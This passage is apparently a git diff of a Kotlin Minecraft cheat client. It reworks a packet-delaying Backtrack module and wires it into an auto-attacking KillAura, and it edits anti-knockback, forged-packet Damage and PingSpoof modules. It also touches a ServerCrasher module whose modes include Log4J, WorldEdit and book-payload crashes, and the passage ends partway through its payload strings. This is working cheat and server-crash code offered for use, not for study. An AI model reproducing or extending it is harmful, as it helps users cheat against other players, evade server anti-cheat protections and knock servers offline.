(mode.get().lowercase()) { + "legacy" -> { + val color = Color.RED + + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityPlayer) { + glPushMatrix() + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_LINE_SMOOTH) + glEnable(GL_BLEND) + glDisable(GL_DEPTH_TEST) + + mc.entityRenderer.disableLightmap() + + glBegin(GL_LINE_STRIP) + glColor(color) + + val renderPosX = mc.renderManager.viewerPosX + val renderPosY = mc.renderManager.viewerPosY + val renderPosZ = mc.renderManager.viewerPosZ + + loopThroughBacktrackData(entity) { + glVertex3d(entity.posX - renderPosX, entity.posY - renderPosY, entity.posZ - renderPosZ) + false + } + + glColor4d(1.0, 1.0, 1.0, 1.0) + glEnd() + glEnable(GL_DEPTH_TEST) + glDisable(GL_LINE_SMOOTH) + glDisable(GL_BLEND) + glEnable(GL_TEXTURE_2D) + glPopMatrix() + } + } } - else -> { - outline = true + + "modern" -> { + if (!shouldBacktrack() || packetQueue.isEmpty() || !shouldRender) + return + + if (espMode.get() != "Box") return + + val renderManager = mc.renderManager + + target?.run { + val targetEntity = target as IMixinEntity + + if (targetEntity.truePos) { + val (x, y, z) = targetEntity.interpolatedPosition - Vec3( + renderManager.renderPosX, + renderManager.renderPosY, + renderManager.renderPosZ + ) + + val axisAlignedBB = entityBoundingBox.offset(-posX, -posY, -posZ).offset(x, y, z) + + drawBacktrackBox( + AxisAlignedBB.fromBounds( + axisAlignedBB.minX, + axisAlignedBB.minY, + axisAlignedBB.minZ, + axisAlignedBB.maxX, + axisAlignedBB.maxY, + axisAlignedBB.maxZ + ), color + ) + } + } } } + } - // pre draw - glPushMatrix() - glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) - glEnable(GL_BLEND) - glDisable(GL_TEXTURE_2D) - glDisable(GL_DEPTH_TEST) + @EventTarget + fun onEntityMove(event: EntityMovementEvent) { + if (mode.get() == "Legacy" && legacyPos.get() == "ClientPos") { + val entity = event.movedEntity - glDepthMask(false) + // Check if entity is a player + if (entity is EntityPlayer) { + // Add new data + addBacktrackData(entity.uniqueID, entity.posX, entity.posY, entity.posZ, System.currentTimeMillis()) + } + } + } - if (outline) { - glLineWidth(1f) - glEnable(GL_LINE_SMOOTH) + @EventTarget + fun onWorld(event: WorldEvent) { + // Clear packets on disconnect only + // Set target to null on world change + if (mode.get() == "Modern") { + if (event.worldClient == null) + clearPackets(false) + target = null } - // drawing - val renderManager = mc.renderManager - for (entity in entitiesToRender) { - val x = entity.serverPosX.toDouble() / 32.0 - renderManager.renderPosX - val y = entity.serverPosY.toDouble() / 32.0 - renderManager.renderPosY - val z = entity.serverPosZ.toDouble() / 32.0 - renderManager.renderPosZ - if (other) { - if (outline) { - RenderUtils.glColor(outlineRed.get(), outlineGreen.get(), outlineBlue.get(), outlineAlpha.get()) - RenderUtils.otherDrawOutlinedBoundingBox(entity.rotationYawHead, x, y, z, entity.width / 2.0 + 0.1, entity.height + 0.1) - } - if (filled) { - RenderUtils.glColor(espRed.get(), espGreen.get(), espBlue.get(), espAlpha.get()) - RenderUtils.otherDrawBoundingBox(entity.rotationYawHead, x, y, z, entity.width / 2.0 + 0.1, entity.height + 0.1) - } - } else { - val bb = AxisAlignedBB(x - 0.4F, y, z - 0.4F, x + 0.4F, y + 1.9F, z + 0.4F) - if (outline) { - RenderUtils.glColor(outlineRed.get(), outlineGreen.get(), outlineBlue.get(), outlineAlpha.get()) - RenderUtils.drawSelectionBoundingBox(bb) - } - if (filled) { - RenderUtils.glColor(espRed.get(), espGreen.get(), espBlue.get(), espAlpha.get()) - RenderUtils.drawFilledBox(bb) - } + } + + override fun onEnable() = + reset() + + override fun onDisable() { + clearPackets() + backtrackedPlayer.clear() + } + + private fun handlePackets() { + synchronized(packetQueue) { + packetQueue.entries.removeAll { (packet, timestamp) -> + if (timestamp <= System.currentTimeMillis() - delay.get()) { + PacketUtils.queuedPackets.add(packet) + true + } else false } } - - // post draw - glColor4f(1.0f, 1.0f, 1.0f, 1.0f) - glDepthMask(true) - if (outline) { - glDisable(GL_LINE_SMOOTH) + synchronized(positions) { + positions.removeAll { (_, timestamp) -> timestamp < System.currentTimeMillis() - delay.get() } } - glDisable(GL_BLEND) - glEnable(GL_TEXTURE_2D) - glEnable(GL_DEPTH_TEST) - glPopMatrix() } - private fun releasePackets() { - attacked = null - smoothPointer = System.nanoTime() - val netHandler: INetHandlerPlayClient = mc.netHandler - if (storagePackets.isEmpty()) return - while (storagePackets.isNotEmpty()) { - storagePackets.removeAt(0).let{ - val packet = it.packet - try { - val packetEvent = PacketEvent(packet,EventState.SEND) - if (!packets.contains(packet)) FDPClient.eventManager.callEvent(packetEvent) - if (!packetEvent.isCancelled) packet.processPacket(netHandler) - } catch (_: ThreadQuickExitException) { } + private fun handlePacketsRange() { + val time = getRangeTime() + if (time == -1L) { + clearPackets() + return + } + synchronized(packetQueue) { + packetQueue.entries.removeAll { (packet, timestamp) -> + if (timestamp <= time) { + PacketUtils.queuedPackets.add(packet) + true + } else false } } - while (storageEntities.isNotEmpty()) { - storageEntities.removeAt(0).let { entity -> - if (!entity.isDead) { - val x = entity.serverPosX.toDouble() / 32.0 - val y = entity.serverPosY.toDouble() / 32.0 - val z = entity.serverPosZ.toDouble() / 32.0 - if (setPosOnStop.get()) entity.setPosition(x, y, z) + synchronized(positions) { + positions.removeAll { (_, timestamp) -> timestamp < time } + } + } + + private fun getRangeTime(): Long { + if (target == null) return 0L + var time = 0L + var found = false + synchronized(positions) { + for (data in positions) { + time = data.second + val targetPos = Vec3(target!!.posX, target!!.posY, target!!.posZ) + val (dx, dy, dz) = data.first - targetPos + val targetBox = target!!.hitBox.offset(dx, dy, dz) + if (mc.thePlayer.getDistanceToBox(targetBox) in minDistance.get()..maxDistance.get()) { + found = true + break } } } - storageEntityMove.clear() - needFreeze = false + return if (found) time else -1L } - private fun releasePacket(untilNS: Long) { - val netHandler: INetHandlerPlayClient = mc.netHandler - if (storagePackets.isEmpty()) return - smoothPointer = untilNS - while (storagePackets.isNotEmpty()) { - val it = storagePackets[0] - val packet = it.packet - if (it.time <= untilNS) { - storagePackets.remove(it) - try { - val packetEvent = PacketEvent(packet,EventState.SEND) - if (!packets.contains(packet)) FDPClient.eventManager.callEvent(packetEvent) - if (!packetEvent.isCancelled) packet.processPacket(netHandler) - } catch (_: ThreadQuickExitException) {} - } else { - break - } + private fun clearPackets(handlePackets: Boolean = true) { + if (packetQueue.isNotEmpty()) { + delayForNextBacktrack = System.currentTimeMillis() + nextBacktrackDelay.get() } - while (storageEntityMove.isNotEmpty()) { - val first = storageEntityMove.first - if (first.time <= untilNS) { - storageEntityMove.remove(first) - val entity = first.entity - if (entity is EntityOtherPlayerMP) entity.setPositionAndRotation2(first.x, first.y, first.z, entity.otherPlayerMPYaw.toFloat(), entity.otherPlayerMPPitch.toFloat(), 3, true) - else entity.setPositionAndUpdate(first.x, first.y, first.z) - } - else break + + synchronized(packetQueue) { + if (handlePackets) + PacketUtils.queuedPackets.addAll(packetQueue.keys) + + packetQueue.clear() } + + positions.clear() + shouldRender = false + ignoreWholeTick = true } - private fun releaseUntilBefore(ms: Int) = releasePacket(System.nanoTime() - ms * 1000000) + private fun addBacktrackData(id: UUID, x: Double, y: Double, z: Double, time: Long) { + // Get backtrack data of player + val backtrackData = getBacktrackData(id) - private fun doSmoothRelease() { - // what I wrote? - val target = killAura!!.currentTarget - var found = false - var bestTimeStamp = max(smoothPointer, System.nanoTime() - maxTime.get() * 1000000) - for (it in storageEntityMove) { - if (target == it.entity) { - found = true - val width = it.entity.width / 2.0 - val height = it.entity.height - val bb = AxisAlignedBB(it.x - width, it.y, it.z - width, it.x + width, it.y + height, it.z + width).expands(0.1) - val range = mc.thePlayer.eyes.distanceTo(bb) - if (range < minDistance.get() && range < minDistance.get() || - mc.thePlayer.getPositionEyes(3F).distanceTo(bb) < minDistance.get() - 0.1) { - bestTimeStamp = max(bestTimeStamp, it.time) - } + // Check if there is already data of the player + if (backtrackData != null) { + // Check if there is already enough data of the player + if (backtrackData.size >= maximumCachedPositions.get()) { + // Remove first data + backtrackData.removeFirst() } + + // Insert new data + backtrackData += BacktrackData(x, y, z, time) + } else { + // Create new list + backtrackedPlayer[id] = mutableListOf(BacktrackData(x, y, z, time)) } - // simply release them all - // TODO: Multi targets support - if (!found) releasePackets() - else releasePacket(bestTimeStamp) } - private fun stopReverse() { - if (storageSendPackets.isEmpty()) return - while (storageSendPackets.isNotEmpty()) { - storageSendPackets.removeAt(0).let { - try { - val packetEvent = PacketEvent(it,EventState.SEND) - if (!packets.contains(it)) FDPClient.eventManager.callEvent(packetEvent) - if (!packetEvent.isCancelled) PacketUtils.sendPacketNoEvent(it) - } catch (e: Exception) { - FDPClient.hud.addNotification( - Notification(name, - "Something went wrong when sending packet reversing", - NotifyType.ERROR - ) - ) - } - // why kotlin - return@let + private fun getBacktrackData(id: UUID) = backtrackedPlayer[id] + + private fun removeBacktrackData(id: UUID) = backtrackedPlayer.remove(id) + + /** + * This function will return the nearest tracked range of an entity. + */ + fun getNearestTrackedDistance(entity: Entity): Double { + var nearestRange = 0.0 + + loopThroughBacktrackData(entity) { + val range = entity.getDistanceToEntityBox(mc.thePlayer) + + if (range < nearestRange || nearestRange == 0.0) { + nearestRange = range } + + false } - if (storageSendPackets.isEmpty()) { - reversing = false - hasAttackInReversing = false + + return nearestRange + } + + /** + * This function will loop through the backtrack data of an entity. + */ + fun loopThroughBacktrackData(entity: Entity, action: () -> Boolean) { + if (!state || entity !is EntityPlayer || mode.get() == "Modern") + return + + val backtrackDataArray = getBacktrackData(entity.uniqueID) ?: return + + val currPos = entity.currPos + val prevPos = entity.prevPos + + // This will loop through the backtrack data. We are using reversed() to loop through the data from the newest to the oldest. + for ((x, y, z, _) in backtrackDataArray.reversed()) { + entity.setPosAndPrevPos(Vec3(x, y, z)) + + if (action()) + break + } + + // Reset position + entity.setPosAndPrevPos(currPos, prevPos) + } + + fun runWithNearestTrackedDistance(entity: Entity, f: () -> Unit) { + if (entity !is EntityPlayer || !handleEvents() || mode.get() == "Modern") { + f() + + return + } + + var backtrackDataArray = getBacktrackData(entity.uniqueID)?.toMutableList() + + if (backtrackDataArray == null) { + f() + + return + } + + backtrackDataArray = backtrackDataArray.sortedBy { (x, y, z, _) -> + runWithSimulatedPosition(entity, Vec3(x, y, z)) { + mc.thePlayer.getDistanceToBox(entity.hitBox) + } + }.toMutableList() + + val (x, y, z, _) = backtrackDataArray.first() + + runWithSimulatedPosition(entity, Vec3(x, y, z)) { + f() + + null } } - private val calculatedMaxHurtTime : Int - get() = maxHurtTime.get() + if (hurtTimeWithPing.get()) ceil(mc.thePlayer.getPing() / 50.0).toInt() else 0 + fun runWithSimulatedPosition(entity: Entity, vec3: Vec3, f: () -> Double?): Double? { + val currPos = entity.currPos + val prevPos = entity.prevPos - fun update() {} + entity.setPosAndPrevPos(vec3) - private data class ServerPacketStorage(val packet: Packet) { - val time = System.nanoTime() + val result = f() + + // Reset position + entity.setPosAndPrevPos(currPos, prevPos) + + return result } - private data class EntityPacketLoc(val entity: Entity, val x: Double, val y: Double, val z: Double) { - val time = System.nanoTime() + val color + get() = if (rainbow.get()) rainbow() else Color(red.get(), green.get(), blue.get()) + + fun shouldBacktrack() = + mc.thePlayer != null && target != null && mc.thePlayer.health > 0 && (target!!.health > 0 || target!!.health.isNaN()) && mc.playerController.currentGameType != WorldSettings.GameType.SPECTATOR && System.currentTimeMillis() >= delayForNextBacktrack && target?.let { + isSelected(it, true) && (mc.thePlayer?.ticksExisted ?: 0) > 20 && !ignoreWholeTick + } == true + + private fun reset() { + target = null + globalTimer.reset() } -} \ No newline at end of file +} + +data class BacktrackData(val x: Double, val y: Double, val z: Double, val time: Long) diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/InfiniteAura.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/InfiniteAura.kt index ebe5863..7e59211 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/InfiniteAura.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/InfiniteAura.kt @@ -171,7 +171,7 @@ object InfiniteAura : Module() { val z = event.packet.getZ() - mc.thePlayer.posZ val diff = Math.sqrt(x * x + y * y + z * z) event.cancelEvent() // cancel - PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(event.packet.getX(), event.packet.getY(), event.packet.getZ(), event.packet.getYaw(), event.packet.getPitch(), true)) + PacketUtils.sendPacket(C06PacketPlayerPosLook(event.packet.getX(), event.packet.getY(), event.packet.getZ(), event.packet.getYaw(), event.packet.getPitch(), true),false) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KillAura.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KillAura.kt index 34598b6..d88360d 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KillAura.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/KillAura.kt @@ -30,6 +30,8 @@ import net.ccbluex.liquidbounce.utils.ClientUtils.runTimeTicks import net.ccbluex.liquidbounce.utils.EntityUtils.isLookingOnEntities import net.ccbluex.liquidbounce.utils.EntityUtils.rotation import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.getVectorForRotation +import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.isVisible +import net.ccbluex.liquidbounce.utils.RotationUtils.Companion.targetRotation import net.ccbluex.liquidbounce.utils.extensions.eyes import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox import net.ccbluex.liquidbounce.utils.extensions.hitBox @@ -1014,6 +1016,14 @@ object KillAura : Module() { var distance = mc.thePlayer.getDistanceToEntityBox(entity) + if (Backtrack.handleEvents()) { + val trackedDistance = Backtrack.getNearestTrackedDistance(entity) + + if (distance > trackedDistance) { + distance = trackedDistance + } + } + val entityFov = RotationUtils.getRotationDifference(entity) if (distance <= discoverRangeValue.get() && (fov == 180F || entityFov <= fov)) { @@ -1024,7 +1034,14 @@ object KillAura : Module() { // Sort targets by priority when (priorityValue.get().lowercase()) { - "distance" -> discoveredTargets.sortBy { mc.thePlayer.getDistanceToEntityBox(it) } // Sort by distance + "distance" -> discoveredTargets.sortBy { + var result = 0.0 + + Backtrack.runWithNearestTrackedDistance(it) { + result = mc.thePlayer.getDistanceToEntityBox(it) // Sort by distance + } + + result } // Sort by distance "health" -> discoveredTargets.sortBy { it.health + it.absorptionAmount } // Sort by health "fov" -> discoveredTargets.sortBy { RotationUtils.getRotationDifference(it) } // Sort by FOV "livingtime" -> discoveredTargets.sortBy { -it.ticksExisted } // Sort by existence @@ -1052,7 +1069,11 @@ object KillAura : Module() { for (entity in inRangeDiscoveredTargets) { // Update rotations to current target if (!updateRotations(entity)) { - val success = false + var success = false + + Backtrack.runWithNearestTrackedDistance(entity) { + success = updateRotations(entity) + } if (!success) { // when failed then try another target @@ -1306,6 +1327,9 @@ object KillAura : Module() { hitable = false return } + var chosenEntity: Entity? = null + val eyes = mc.thePlayer.eyes + val currentRotation = targetRotation ?: mc.thePlayer.rotation val entityDist = mc.thePlayer.getDistanceToEntityBox(currentTarget as Entity) canSwing = entityDist < rangeValue.get() && (currentTarget as EntityLivingBase).hurtTime <= hurtTimeValue.get() if (hitAbleValue.get()) { @@ -1317,10 +1341,65 @@ object KillAura : Module() { hitable = true return } + var shouldExcept = false + + val targetToCheck = this.currentTarget ?: return + + var checkNormally = true + + if (Backtrack.handleEvents()) { + Backtrack.loopThroughBacktrackData(targetToCheck) { + var result = false + + checkIfAimingAtBox(targetToCheck, currentRotation, eyes, onSuccess = { + checkNormally = false + + result = true + }, onFail = { + result = false + }) + + return@loopThroughBacktrackData result + } + } + + if (!checkNormally) { + return + } + val wallTrace = mc.thePlayer.rayTraceWithServerSideRotation(entityDist) hitable = RotationUtils.isFaced(currentTarget!!, maxRange.toDouble()) && (entityDist < discoverRangeValue.get() || wallTrace?.typeOfHit != MovingObjectPosition.MovingObjectType.BLOCK) && (currentTarget as EntityLivingBase).hurtTime <= hurtTimeValue.get() } + private fun checkIfAimingAtBox( + targetToCheck: Entity, currentRotation: Rotation, eyes: Vec3, onSuccess: () -> Unit, + onFail: () -> Unit = { }, + ) { + if (targetToCheck.hitBox.isVecInside(eyes)) { + onSuccess() + return + } + + // Recreate raycast logic + val intercept = targetToCheck.hitBox.calculateIntercept( + eyes, + eyes + getVectorForRotation(currentRotation) * rangeValue.get().toDouble() + ) + + if (intercept != null) { + // Is the entity box raycast vector visible? If not, check through-wall range + hitable = + isVisible(intercept.hitVec) || throughWallsValue.get() + + if (hitable) { + onSuccess() + return + } + } + + onFail() + } + /** * Start blocking */ diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Velocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Velocity.kt index 2103665..489ce30 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Velocity.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Velocity.kt @@ -15,19 +15,13 @@ import net.ccbluex.liquidbounce.features.value.BoolValue import net.ccbluex.liquidbounce.features.value.FloatValue import net.ccbluex.liquidbounce.features.value.IntegerValue import net.ccbluex.liquidbounce.features.value.ListValue -import net.ccbluex.liquidbounce.utils.BlinkUtils +import net.ccbluex.liquidbounce.utils.* import net.ccbluex.liquidbounce.utils.EntityUtils.isLookingOnEntities import net.ccbluex.liquidbounce.utils.EntityUtils.isSelected -import net.ccbluex.liquidbounce.utils.MovementUtils -import net.ccbluex.liquidbounce.utils.PacketUtils -import net.ccbluex.liquidbounce.utils.PacketUtils.realMotionX -import net.ccbluex.liquidbounce.utils.PacketUtils.realMotionY -import net.ccbluex.liquidbounce.utils.PacketUtils.realMotionZ import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox import net.ccbluex.liquidbounce.utils.misc.RandomUtils.nextInt import net.ccbluex.liquidbounce.utils.particles.Vec3 import net.ccbluex.liquidbounce.utils.timer.MSTimer -import net.ccbluex.liquidbounce.utils.toDegrees import net.minecraft.block.BlockAir import net.minecraft.entity.Entity import net.minecraft.entity.EntityLivingBase @@ -177,7 +171,7 @@ object Velocity : Module() { 0.8f, 0.0f, 1f - ).displayable { mainMode.get() == "Other" && (otherMode.get() == "AttackReduce" || otherMode.get() == "KKCraft") } + ).displayable { mainMode.get() == "Other" && otherMode.get() == "AttackReduce" } private val jumpCooldownMode = ListValue( "JumpCooldownMode", @@ -843,16 +837,20 @@ object Velocity : Module() { } "kkcraft" -> { - if (player.hurtTime in 3..8 && lastGround) { - player.motionX *= reduceAmount.get() - player.motionZ *= reduceAmount.get() + if (player.hurtTime in 2..8) { + if (lastGround) { + player.motionX *= 0.59999999999 + player.motionZ *= 0.59999999999 + } } if (player.hurtTime == 0 && lastGround && player.onGround) { lastGround = false } if (hasReceivedVelocity) { - if (player.hurtTime == 6 && player.onGround && !mc.gameSettings.keyBindJump.isKeyDown) { - player.jump() + if (player.hurtTime == 7 && player.onGround) { + if (!mc.gameSettings.keyBindJump.isKeyDown) { + player.jump() + } player.motionX *= motionXZ player.motionZ *= motionXZ } @@ -1234,7 +1232,7 @@ object Velocity : Module() { var motionY = packet.realMotionY if (limitMaxMotionValue.get()) - motionY = motionY.coerceAtMost(maxYMotion.get() + 0.00075F) + motionY = motionY.coerceAtMost(maxYMotion.get() + 0.00075) mc.thePlayer.motionY = motionY * vertical.get().toDouble() } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Damage.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Damage.kt index 80f7588..31f182a 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Damage.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Damage.kt @@ -65,11 +65,11 @@ object Damage : Module() { val z = mc.thePlayer.posZ repeat(4) { jumpYPosArr.forEach { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(x, y + it, z, false)) + PacketUtils.sendPacket(C04PacketPlayerPosition(x, y + it, z, false),false) } - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(x, y, z, false)) + PacketUtils.sendPacket(C04PacketPlayerPosition(x, y, z, false),false) } - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(x, y, z, true)) + PacketUtils.sendPacket(C04PacketPlayerPosition(x, y, z, true),false) } } } @@ -77,29 +77,29 @@ object Damage : Module() { "verus" -> { when (verusModeValue.get().lowercase()) { "damage1" -> { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.05, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, true)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.05, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, true),false) } "damage2" -> { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.35, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.35, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true),false) } "damage3" -> { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 4, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 4, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true),false) } "damage4" -> { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.42, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.42, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true),false) } "customdamage" -> { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet1Value.get().toDouble(), mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet2Value.get().toDouble(), mc.thePlayer.posZ, false)) - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet3Value.get().toDouble(), mc.thePlayer.posZ, true)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet1Value.get().toDouble(), mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet2Value.get().toDouble(), mc.thePlayer.posZ, false),false) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet3Value.get().toDouble(), mc.thePlayer.posZ, true),false) } } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.kt index 6fc1698..e1aaad6 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.kt @@ -47,7 +47,7 @@ object PingSpoof : Module() { override fun onDisable() { packetBuffer.forEach { - PacketUtils.sendPacketNoEvent(it) + PacketUtils.sendPacket(it,false) } packetBuffer.clear() } @@ -70,7 +70,7 @@ object PingSpoof : Module() { private /*suspend*/ fun queuePacket(delayTime: Long) { Timer().schedule(delayTime) { if (this@PingSpoof.state) { - PacketUtils.sendPacketNoEvent(packetBuffer.poll()) + PacketUtils.sendPacket(packetBuffer.poll(),false) } } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt index da2b59f..0658944 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt @@ -33,36 +33,49 @@ import java.util.* @ModuleInfo(name = "ServerCrasher", category = ModuleCategory.EXPLOIT) object ServerCrasher : Module() { - private val modeValue = ListValue("Mode", arrayOf( - "Book", - "Swing", - "MassiveChunkLoading", - "WorldEdit", "MultiverseCore",// "BukkitBD", - "Pex", - "CubeCraft", - "AACNew", "AACOther", "AACOld", - "MemetrixOld", "OldLoyisaNCP", - "ItemSwitch", "ItemDrop", - "MathOverFlow", - "C08", "NullC08", - "CommandComplete", - "AACv5", - "Log4J", - "Inventory", - "Rotation", - ), "Book") + private val modeValue = ListValue( + "Mode", arrayOf( + "Book", + "Swing", + "MassiveChunkLoading", + "WorldEdit", "MultiverseCore",// "BukkitBD", + "Pex", + "CubeCraft", + "AACNew", "AACOther", "AACOld", + "MemetrixOld", "OldLoyisaNCP", + "ItemSwitch", "ItemDrop", + "MathOverFlow", + "C08", "NullC08", + "CommandComplete", + "AACv5", + "Log4J", + "Inventory", + "Rotation", + ), "Book" + ) private val packetAmountValue = IntegerValue("PacketAmount", 500, 1, 3000) - private val bookTypeValue = ListValue("BookType", arrayOf("Plain", "Json", "Netty", "Random"), "Plain").displayable { modeValue.equals("Book") } as ListValue - private val bookModeValue = ListValue("BookMode", arrayOf("Payload", "ItemUse", "BlockClick", "CreativeWindowClick", "Lpx", "WindowClick", "WindowPickUp"), "Payload").displayable { modeValue.equals("Book") } + private val bookTypeValue = ListValue( + "BookType", + arrayOf("Plain", "Json", "Netty", "Random"), + "Plain" + ).displayable { modeValue.equals("Book") } as ListValue + private val bookModeValue = ListValue( + "BookMode", + arrayOf("Payload", "ItemUse", "BlockClick", "CreativeWindowClick", "Lpx", "WindowClick", "WindowPickUp"), + "Payload" + ).displayable { modeValue.equals("Book") } private val bookOnlyOnceValue = BoolValue("BookOnlyOnce", false).displayable { modeValue.equals("Book") } - private val log4jModeValue = ListValue("Log4JMode", arrayOf("RawChat", "Chat", "Command"), "Chat").displayable { modeValue.equals("Log4J") } + private val log4jModeValue = + ListValue("Log4JMode", arrayOf("RawChat", "Chat", "Command"), "Chat").displayable { modeValue.equals("Log4J") } private val slientInventoryValue = BoolValue("SlientInventory", false).displayable { modeValue.equals("Inventory") } private val pexTimer = MSTimer() private var nowInv = -1 private val invSlots = mutableMapOf() - private val BOOK_SIZE = "................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................." - private val BOOK_JSON = 